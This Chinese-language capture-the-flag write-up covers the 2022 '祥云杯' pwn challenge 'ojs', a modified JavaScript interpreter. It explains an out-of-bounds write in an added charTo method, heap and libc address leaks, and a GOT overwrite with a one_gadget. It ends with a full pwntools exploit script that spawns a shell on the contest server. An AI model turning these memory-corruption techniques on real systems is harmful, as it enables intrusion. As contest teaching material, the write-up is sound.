祥云杯2022 Pwn ojs
查找关键词可知,这题魔改自项目:https://github.com/ndreynolds/flathead
比对源码可知,新增了方法charTo
:
逆一下,str.charTo(offset, val)
代表将字符串str
偏移offset
(可正可负)处改为val
。
可越界写的条件是字符串str
的长度为3
,且当val = 17
的时候,会返回存放str
自身的堆块地址(结合动态调试)。
由于本题没开PIE
保护,且got
表可写:
所以其实任意写的思路很显然:先泄露出str
自身堆块地址,然后就能用其与某got
表地址的差值通过charTo
任意写got
表了。
泄露libc
的思路也不难想到,可以将初始长度为3
的str
后面的\x00
不断覆盖掉,这样就能泄露后面内存中的libc
地址了,这里其实也可以泄露出堆块地址。
不过,由于比赛的时候远程环境十分诡异,导致当时配了几个小时环境都没弄出来远程的环境(打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ),后来就干脆采用了无脑爆破的做法。str
后面内存区域中libc
的位置需要爆破一下,得到是60*8
的偏移处,然后得到了libc
地址以后,其相对于基地址的偏移也需要爆破一下(这里其实有个技巧,就比如我这里劫持的是printf
的got
表,那么可能出问题也就是倒数第二、三个字节,先只改倒数第二个字节,其余保持原先的值不变,如果最后能正常输出,则表示倒数第四位的偏移爆破正确了,倒数第三个字节的爆破也同理这么操作)。
此外,这里应该也可以通过改某个got
表为puts@plt
,然后输入某个got
的地址来泄露libc
,或者先劫持bss
段上的stdin/stdout/stderr
指针为某个got
表地址,然后比如再改setvbuf
的got
表为puts@plt
,最后劫持执行流到setvbuf
来泄露。不过这里貌似不太好泄露完再返回了,但是通过这里泄露的值和上述60*8
的位置泄露的libc
比对一下就不需要上面的爆破操作了。
最后,选用如下one_gadget
即可:
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("39.106.13.71", 38641)
libc = ELF("./libc-2.27.so")
elf = ELF("./ojs")
io.sendlineafter("> ", 'a = "win";')
io.sendlineafter("> ", 'x = a.charTo(0, 17);')
io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");')
io.recvline()
io.recvuntil("xxx")
heap_addr = int(io.recvuntil("xxx").strip(b"xxx"))
success("heap_addr:\t" + hex(heap_addr))
io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);')
io.sendlineafter("> ", 'console.log(a);')
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
success("libc_addr:\t" + hex(libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex(libc_base))
dis = elf.got['printf'] - heap_addr
og = p64(libc_base + 0xe54f7)
for i in range(6) :
io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});')
io.sendlineafter("> ", 'b = [];')
io.sendlineafter("> ", 'b.push("winmt");')
io.interactive()